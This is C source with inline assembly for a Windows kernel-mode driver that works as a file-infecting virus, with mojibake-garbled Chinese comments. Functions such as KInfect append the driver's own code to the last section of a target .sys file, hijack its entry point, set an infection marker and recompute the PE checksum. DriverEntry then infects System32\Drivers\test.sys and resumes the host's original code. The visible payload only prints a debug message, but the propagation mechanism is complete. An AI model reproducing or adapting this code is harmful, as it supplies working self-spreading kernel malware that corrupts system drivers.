NtReadFileFunc _NtReadFile = NULL; _NtReadFile = (NtReadFileFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defNtReadFile]);
if (!_NtReadFile)
{
goto Exit0;
}
status = KGetCurPos(hFile, &ByteOffset);
if (!NT_SUCCESS(status))
{
goto Exit0;
} status = _NtReadFile(
hFile,
NULL, NULL, NULL,
&IoStatusBlock,
Buffer,
ulSize,
&ByteOffset,
NULL
);
if (!NT_SUCCESS(status))
{
goto Exit0;
}
if (pulReturnLength)
{
*pulReturnLength = IoStatusBlock.Information;
}
Exit0:
return status;
}
/**
*@brief дÎļþÊý¾Ý
*
*@param[in] hFile Îļþ¾ä±ú
*@param[in] Buffer ÐèҪдµÄÊý¾ÝµÄ»º³åÇø
*@param[in] ulSize ÐèҪдµÄÊý¾ÝµÄ»º³åÇø´óС
*@param[out] pulReturnLength ʵ¼ÊдµÄÊý¾Ý´óС
*@return ·µ»ØSTATUS_SUCCESS±íʾ³É¹¦,ÆäËüÖµ±íʾʧ°Ü
*/
int KWriteFile(HANDLE hFile, PVOID Buffer, ULONG ulSize, ULONG *pulReturnLength)
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
IO_STATUS_BLOCK IoStatusBlock;
LARGE_INTEGER ByteOffset;
NtWriteFileFunc _NtWriteFile = NULL; _NtWriteFile = (NtWriteFileFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defNtWriteFile]);
if (!_NtWriteFile)
{
goto Exit0;
}
status = KGetCurPos(hFile, &ByteOffset);
if (!NT_SUCCESS(status))
{
goto Exit0;
} status = _NtWriteFile(
hFile,
NULL, NULL, NULL,
&IoStatusBlock,
Buffer,
ulSize,
&ByteOffset,
NULL
);
if (!NT_SUCCESS(status))
{
goto Exit0;
}
if (pulReturnLength)
{
*pulReturnLength = IoStatusBlock.Information;
}
Exit0:
return status;
}
/**
*@brief ¹Ø±ÕÎļþ
*
*@param[in] hFile Îļþ¾ä±ú
*@return ·µ»ØSTATUS_SUCCESS±íʾ³É¹¦,ÆäËüÖµ±íʾʧ°Ü
*/
int KClose(HANDLE hFile)
{
NtCloseFunc _NtClose = NULL;
if (hFile == INVALID_HANDLE_VALUE)
{
return STATUS_UNSUCCESSFUL;
}
_NtClose = (NtCloseFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defNtClose]);
if (!_NtClose)
{
return STATUS_UNSUCCESSFUL;
}
return _NtClose(hFile);
} /**
*@brief È¡µÃPE½ÚÊý
*
*@param[in] pe PEÎļþ¶ÔÏó
*@return ·µ»ØPEÎļþµÄ½ÚÊý£¬
*/
ULONG KPEGetSecNum(KPELIB *pe)
{
return pe->pNtHdr->FileHeader.NumberOfSections;
} /**
*@brief RVAµ½FilePosµÄת»»
*
*@param[in] pe PEÎļþ¶ÔÏó
*@param[in] RVA
*@return ·µ»ØFilePos
*/
ULONG RVAToFilePos(KPELIB *pe, ULONG RVA)//¹Ø¼üº¯Êý
{
ULONG FilePos = 0;
ULONG uSecNum = 0;
ULONG i = 0; uSecNum = KPEGetSecNum(pe);
for (i = 0; i < uSecNum; i++ )
{
if (RVA >= pe->pSecHdr[i].VirtualAddress &&
RVA < pe->pSecHdr[i].VirtualAddress + pe->pSecHdr[i].SizeOfRawData)
{
FilePos = RVA - pe->pSecHdr[i].VirtualAddress + pe->pSecHdr[i].PointerToRawData;
break;
}
}
return FilePos;
}
/**
*@brief FilePosµ½RVAµÄת»»
*
*@param[in] pe PEÎļþ¶ÔÏó
*@param[in] FilePos
*@return ·µ»ØRVA
*/
ULONG FilePosToRVA(KPELIB *pe, ULONG FilePos)//¹Ø¼üº¯Êý
{
ULONG RVA = 0;
ULONG uSecNum = 0;
ULONG i = 0; uSecNum = KPEGetSecNum(pe);
for (i = 0; i < uSecNum; i++ )
{
if (FilePos >= pe->pSecHdr[i].PointerToRawData &&
FilePos < pe->pSecHdr[i].PointerToRawData + pe->pSecHdr[i].SizeOfRawData)
{
RVA = FilePos - pe->pSecHdr[i].PointerToRawData + pe->pSecHdr[i].VirtualAddress;
break;
}
}
Exit0:
return RVA;
}
/**
*@brief ¸ù¾ÝÎļþ³õʼһ¸öPE¶ÔÏó(¿í×Ö·û°æ±¾)
*
*@param[in] pwszFileName PEÎļþÃû
*@param[in] OpenMode ´ò¿ª·½Ê½,È¡Öµ¿ÉÒԲο¼ZwCreateFileº¯ÊýµÄDesiredAccess²ÎÊý
*@return ³É¹¦Ê±·µ»ØÒ»¸öÒѾ³õʼ»¯µÄPE¶ÔÏó,·ñÔò·µ»ØNULL
*/
int KPEInitFromFileW(KPELIB *pe, WCHAR *pwszFileName)
{
int nResult = STATUS_UNSUCCESSFUL;
int nRetCode = STATUS_UNSUCCESSFUL;
ULONG ulReturnLength = 0;
if (!pe)
{
return STATUS_UNSUCCESSFUL;
}
KZeroMemory((UCHAR*)pe, sizeof(KPELIB));
pe->hFile = INVALID_HANDLE_VALUE;
pe->hFile = KCreateFile(
pwszFileName,
GENERIC_READ | GENERIC_WRITE,
FILE_OPEN
);
if(pe->hFile == INVALID_HANDLE_VALUE)
{
goto Exit0;
}
pe->pDosHdr = (IMAGE_DOS_HEADER*)KNew(NonPagedPool, sizeof(IMAGE_DOS_HEADER));
if (!pe->pDosHdr)
{
goto Exit0;
}
nRetCode = KReadFile(pe->hFile, (UCHAR*)pe->pDosHdr, sizeof(IMAGE_DOS_HEADER), &ulReturnLength);
if (!NT_SUCCESS(nRetCode))
{
goto Exit0;
}
pe->pNtHdr = (IMAGE_NT_HEADERS32*)KNew(NonPagedPool, sizeof(IMAGE_NT_HEADERS32));
if (!pe->pNtHdr)
{
goto Exit0;
}
nRetCode = KSeek(pe->hFile, pe->pDosHdr->e_lfanew);
if (!NT_SUCCESS(nRetCode))
{
goto Exit0;
}
nRetCode = KReadFile(
pe->hFile,
(UCHAR*)pe->pNtHdr,
sizeof(IMAGE_NT_HEADERS32),
&ulReturnLength
);
if (!NT_SUCCESS(nRetCode))
{
goto Exit0;
}
pe->pSecHdr = (IMAGE_SECTION_HEADER*)KNew(
NonPagedPool,
sizeof(IMAGE_SECTION_HEADER) * pe->pNtHdr->FileHeader.NumberOfSections
);
if (!pe->pSecHdr)
{
goto Exit0;
}
nRetCode = KSeek(
pe->hFile,
pe->pDosHdr->e_lfanew + pe->pNtHdr->FileHeader.SizeOfOptionalHeader + 0x18
);
if (!NT_SUCCESS(nRetCode))
{
goto Exit0;
}
nRetCode = KReadFile(
pe->hFile,
(UCHAR*)pe->pSecHdr,
sizeof(IMAGE_SECTION_HEADER) * pe->pNtHdr->FileHeader.NumberOfSections,
&ulReturnLength
);
if (!NT_SUCCESS(nRetCode))
{
goto Exit0;
}
nResult = STATUS_SUCCESS;
Exit0:
if (!NT_SUCCESS(nResult))
{
KDelete(pe->pSecHdr);
pe->pSecHdr = NULL;
KDelete(pe->pNtHdr);
pe->pNtHdr = NULL;
KDelete(pe->pDosHdr);
pe->pDosHdr = NULL;
}
return nResult;
}
USHORT
ChkSum(
ULONG PartialSum,
PUSHORT Source,
ULONG Length
)
{
while (Length--) {
PartialSum += *Source++;
PartialSum = (PartialSum >> 16) + (PartialSum & 0xffff);
} return (USHORT)(((PartialSum >> 16) + PartialSum) & 0xffff);
}
PIMAGE_NT_HEADERS32 RtlpImageNtHeader(PVOID BaseAddress)
{
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)BaseAddress;
return (PIMAGE_NT_HEADERS32)(pDosHdr->e_lfanew + (ULONG)BaseAddress);
}
PIMAGE_NT_HEADERS32
CheckSumMappedFile (
PVOID BaseAddress,
ULONG FileLength,
PULONG HeaderSum,
PULONG CheckSum
)
{
PUSHORT AdjustSum;
PIMAGE_NT_HEADERS32 NtHeaders;
USHORT PartialSum; *HeaderSum = 0;
PartialSum = ChkSum(0, (PUSHORT)BaseAddress, (FileLength + 1) >> 1);
NtHeaders = RtlpImageNtHeader(BaseAddress); if ((NtHeaders != NULL) && (NtHeaders != BaseAddress))
{
if (NtHeaders->OptionalHeader.Magic == 0x10B)
{
*HeaderSum = ((PIMAGE_NT_HEADERS32)NtHeaders)->OptionalHeader.CheckSum;
AdjustSum = (PUSHORT)(&((PIMAGE_NT_HEADERS32)NtHeaders)->OptionalHeader.CheckSum);
PartialSum -= (PartialSum < AdjustSum[0]);
PartialSum -= AdjustSum[0];
PartialSum -= (PartialSum < AdjustSum[1]);
PartialSum -= AdjustSum[1];
}
}
*CheckSum = (DWORD)PartialSum + FileLength;
return NtHeaders;
}
/**
*@brief ÖØмÆËãPEÎļþµÄCheckSum
*
*@param[in] pwszFileName ÎļþÃû
*@return ·µ»ØSTATUS_SUCCESS±íʾ³É¹¦,ÆäËüÖµ±íʾʧ°Ü
*/
int KUpdateFileChkSum(WCHAR *pwszFileName) //ͦ¸´Ôӵģ¬Ëã·¨ÎÒû×Ðϸ¶Á£¬·´Õý¾ÍÊÇÖØмÆË㣬ȻºóÐÞ¸ÄPEÎļþµÄCheckSum
{ //¸Ãº¯Êýµ÷ÓÃÁËCheckSumMappedFile()À´¼ÆËãеÄCheckSum
int nResult = STATUS_UNSUCCESSFUL;
int nRetCode = STATUS_UNSUCCESSFUL;
UCHAR *Buffer = NULL;
HANDLE hFile = INVALID_HANDLE_VALUE;
LARGE_INTEGER FileSize;
ULONG ulReturnLength = 0;
ULONG ulHeaderChkSum = 0;
ULONG ulChkSum = 0;
PIMAGE_NT_HEADERS32 pNtHdr = NULL;
PIMAGE_DOS_HEADER pDosHdr = NULL;
hFile = KCreateFile(
pwszFileName,
GENERIC_READ | GENERIC_WRITE,
FILE_OPEN
);
if (hFile == INVALID_HANDLE_VALUE)
{
goto Exit0;
}
nRetCode = KGetFileSize(hFile, &FileSize);
if (!NT_SUCCESS(nRetCode))
{
goto Exit0;
}
if (FileSize.u.LowPart == 0 || FileSize.u.LowPart > defMAX_FILE_SIZE)
{
goto Exit0;
}
Buffer = (UCHAR*)KNew(
NonPagedPool,
FileSize.u.LowPart
);
if (!Buffer)
{
goto Exit0;
}
nRetCode = KSeek(
hFile,
0);
if (!NT_SUCCESS(nRetCode))
{
goto Exit0;
}
nRetCode = KReadFile(
hFile,
Buffer,
FileSize.u.LowPart,
&ulReturnLength
);
if (!NT_SUCCESS(nRetCode))
{
goto Exit0;
}
pNtHdr = CheckSumMappedFile(Buffer, FileSize.u.LowPart, &ulHeaderChkSum, &ulChkSum);
if (!pNtHdr)
{
goto Exit0;
}
pDosHdr = (PIMAGE_DOS_HEADER)Buffer;
pNtHdr->OptionalHeader.CheckSum = ulChkSum;
nRetCode = KSeek(
hFile,
pDosHdr->e_lfanew
);
if (!NT_SUCCESS(nRetCode))
{
goto Exit0;
}
nRetCode = KWriteFile(
hFile,
pNtHdr,
sizeof(IMAGE_NT_HEADERS32),
&ulReturnLength
);
if (!NT_SUCCESS(nRetCode))
{
goto Exit0;
}
nResult = STATUS_SUCCESS;
Exit0:
if (hFile != INVALID_HANDLE_VALUE)
{
KClose( hFile);
}
return nResult;
} /**
*@brief Ò»´ÎÐÔÈ¡µÃËùÓÐÐèҪʹÓõÄAPIº¯ÊýµÄµØÖ·
*
*@param[in] DriverObject µ±Ç°Çý¶¯µÄDriverObject
*@return ·µ»ØSTATUS_SUCCESS±íʾ³É¹¦,ÆäËüÖµ±íʾʧ°Ü
*/
int KGetApis(PDRIVER_OBJECT DriverObject)//³õʼ»¯pulApiAddr[]Êý×é
{
PULONG pulApiAddr = KGetGlobalVarAddr(g_ulFuncAddr);
int i = 0;
for (i = 0; i < defApiNum; i++)
{
pulApiAddr[i] = KGetApiAddr(DriverObject, g_wszNtoskrnl, g_szFuncName[i]);
if (pulApiAddr[i] == 0)
{
return STATUS_UNSUCCESSFUL;
}
}
return STATUS_SUCCESS;
}
/**
*@brief ¸ÐȾָ¶¨µÄÎļþ
*
*@param[in] pwszFileName Òª¸ÐȾµÄÇý¶¯ÎļþÃû
*@param[in] ulNewEntryPointDelta DriverEntryº¯ÊýÖ·Óë¸ÐȾÌåÊ×µØÖ·Ö®¼äµÄ²îÖµ
*@return ·µ»ØSTATUS_SUCCESS±íʾ³É¹¦,ÆäËüÖµ±íʾʧ°Ü
*/
int KInfect(WCHAR *pwszFileName, ULONG ulNewEntryPointDelta)//¹Ø¼üº¯Êý
{
int nResult = STATUS_UNSUCCESSFUL;
int nRetCode = STATUS_UNSUCCESSFUL;
ULONG ulNewFilePos = 0;
ULONG ulReturnLength = 0;
KPELIB pe;
ULONG ulSecNum = 0;
ULONG ulFileAlignment = 0;
ULONG ulSectionAlignment = 0;
//ULONG ulStartAddr = KGetStartAddr();
ULONG ulEndAddr = KGetEndAddr();
ULONG ulDelta = 0;
ULONG ulBodySize = 0;
__asm
{
Start:
call lbl_Next
lbl_Next:
pop ebx
sub ebx, 5
sub ebx, offset Start
mov ulDelta, ebx
}
ulBodySize = ulEndAddr - (ulDelta + (ULONG)g_wszNtoskrnl);
nRetCode = KPEInitFromFileW(
&pe,
pwszFileName
);
if (!NT_SUCCESS(nRetCode))
{
goto Exit0;
}
if (pe.pDosHdr->e_csum == 0x5748) //¸ÐȾ±ê¼Ç
{
goto Exit0;
}
ulSecNum = KPEGetSecNum(&pe);
if (!ulSecNum)
{
goto Exit0;
}
ulFileAlignment = pe.pNtHdr->OptionalHeader.FileAlignment;
ulSectionAlignment = pe.pNtHdr->OptionalHeader.SectionAlignment;
//¶ÔÆë
pe.pSecHdr[ulSecNum - 1].SizeOfRawData =
((pe.pSecHdr[ulSecNum - 1].SizeOfRawData - 1) / ulFileAlignment + 1) * ulFileAlignment;
pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize =
((pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize - 1) / ulFileAlignment + 1) * ulFileAlignment;
ulNewFilePos = pe.pSecHdr[ulSecNum - 1].SizeOfRawData + pe.pSecHdr[ulSecNum - 1].PointerToRawData;
pe.pDosHdr->e_ip = (USHORT)(pe.pNtHdr->OptionalHeader.AddressOfEntryPoint & 0xFFFF);
pe.pDosHdr->e_cs = (USHORT)( (pe.pNtHdr->OptionalHeader.AddressOfEntryPoint >> 16) & 0xFFFF);
pe.pNtHdr->OptionalHeader.AddressOfEntryPoint =
ulNewEntryPointDelta + //×¢ÒâÕâÀÈë¿ÚµãµÄ±ä»¯
pe.pSecHdr[ulSecNum - 1].VirtualAddress +
pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize;
pe.pSecHdr[ulSecNum - 1].SizeOfRawData += ulBodySize;
pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize += ulBodySize;
pe.pDosHdr->e_csum = 0x5748; //¸ÐȾ±ê¼Ç
nRetCode = KSeek(pe.hFile, ulNewFilePos);
if (!NT_SUCCESS(nRetCode))
{
goto Exit0;
}
nRetCode = KWriteFile(
pe.hFile,
(PVOID)((ULONG)g_wszNtoskrnl + ulDelta),//д´úÂë
ulBodySize,
&ulReturnLength
);
if (!NT_SUCCESS(nRetCode))
{
goto Exit0;
} pe.pNtHdr->OptionalHeader.SizeOfImage =
pe.pSecHdr[ulSecNum - 1].VirtualAddress + pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize;
pe.pSecHdr[ulSecNum - 1].Characteristics |= (IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE);
pe.pSecHdr[ulSecNum - 1].Characteristics &= (~IMAGE_SCN_MEM_DISCARDABLE);
nRetCode = KSeek(pe.hFile, 0);
if (!NT_SUCCESS(nRetCode))
{
goto Exit0;
}
nRetCode = KWriteFile(
pe.hFile,
pe.pDosHdr,
sizeof(IMAGE_DOS_HEADER),
&ulReturnLength
);
if (!NT_SUCCESS(nRetCode))
{
goto Exit0;
}
nRetCode = KSeek(pe.hFile, pe.pDosHdr->e_lfanew);
if (!NT_SUCCESS(nRetCode))
{
goto Exit0;
}
nRetCode = KWriteFile(
pe.hFile,
pe.pNtHdr,
sizeof(IMAGE_NT_HEADERS32),
&ulReturnLength
);
if (!NT_SUCCESS(nRetCode))
{
goto Exit0;
} nRetCode = KSeek(
pe.hFile,
pe.pDosHdr->e_lfanew + pe.pNtHdr->FileHeader.SizeOfOptionalHeader + 0x18
);
if (!NT_SUCCESS(nRetCode))
{
goto Exit0;
}
nRetCode = KWriteFile(
pe.hFile,
pe.pSecHdr,
sizeof(IMAGE_SECTION_HEADER) * ulSecNum,
&ulReturnLength
);
if (!NT_SUCCESS(nRetCode))
{
goto Exit0;
} nResult = STATUS_SUCCESS;
Exit0:
KDelete(pe.pSecHdr);
pe.pSecHdr = NULL;
KDelete(pe.pNtHdr);
pe.pNtHdr = NULL;
KDelete(pe.pDosHdr);
pe.pDosHdr = NULL;
KClose(pe.hFile);
return nResult;
}
//±¾Çý¶¯»á¸ÐȾSystem32\Drivers\test.sys£¬¸ÐȾ·½Ê½Îª¸ü¸Ä×îºóÒ»¸ö½ÚµÄ´óС£¬
//È»ºóдÈë¸ÐȾÌå´úÂ룬±»¸ÐȾµÄÇý¶¯¼ÓÔسɹ¦µÄ±íÏÖΪÿ¸ôÒ»ÃëÖÖʹÓÃDbgPrintÊä³öI'm here
//¿ÉÒÔÔÚWindbg»òDbgView²é¿´
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
KPELIB Self;
ULONG ulNewEntryPointDelta = 0;
ULONG *pulOrgEntryPoint = NULL;
ulNewEntryPointDelta = (ULONG)KGetGlobalVarAddr(DriverEntry);
ulNewEntryPointDelta -= (ULONG)KGetGlobalVarAddr(g_wszNtoskrnl);
ntStatus = KGetApis(DriverObject);//³õʼ»¯pulApiAddr[]Êý×é
if (!NT_SUCCESS(ntStatus))
{
goto Exit0;
}
ntStatus = KPEInitFromMem((PUCHAR)DriverObject->DriverStart, DriverObject->DriverSize, &Self);
if (!NT_SUCCESS(ntStatus))
{
goto Exit0;
}
if (Self.pDosHdr->e_csum == 0x5748)//¹Ì¶¨Öµ.....
{
pulOrgEntryPoint = KGetGlobalVarAddr(&g_ulOrgEntryPoint);
*pulOrgEntryPoint = Self.pDosHdr->e_cs;
*pulOrgEntryPoint <<= 16;
*pulOrgEntryPoint |= Self.pDosHdr->e_ip;
*pulOrgEntryPoint += (ULONG)DriverObject->DriverStart;
}
ntStatus = KInfect((WCHAR*)KGetGlobalVarAddr(g_wszTest), ulNewEntryPointDelta);
if (!NT_SUCCESS(ntStatus))
{
goto Exit0;
}
ntStatus = KUpdateFileChkSum((WCHAR*)KGetGlobalVarAddr(g_wszTest));
if (!NT_SUCCESS(ntStatus))
{
goto Exit0;
} Exit0:
__asm
{
push offset g_ulOrgEntryPoint
call KGetGlobalVarAddr
mov eax, [eax]
or eax,eax
jz Exit1
push eax
call KCreateSystemThread //½¨Á¢ÄǸöprintÏß³Ì
pop eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
jmp eax //????????????ÕâÊÇ×öʲôÄØ?
Exit1:
}
__asm
{
mov eax, 0C0000001h
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
}
}
/**
*@brief È¡µÃµ±Ç°º¯ÊýÄ©µÄµØÖ·
*
*@return ·µ»ØÇ°º¯ÊýÄ©µÄµØÖ·
*/
ULONG __declspec(naked) KGetEndAddr()
{
__asm
{
call lbl_Next
lbl_Next:
pop eax
add eax, 5
ret
}
}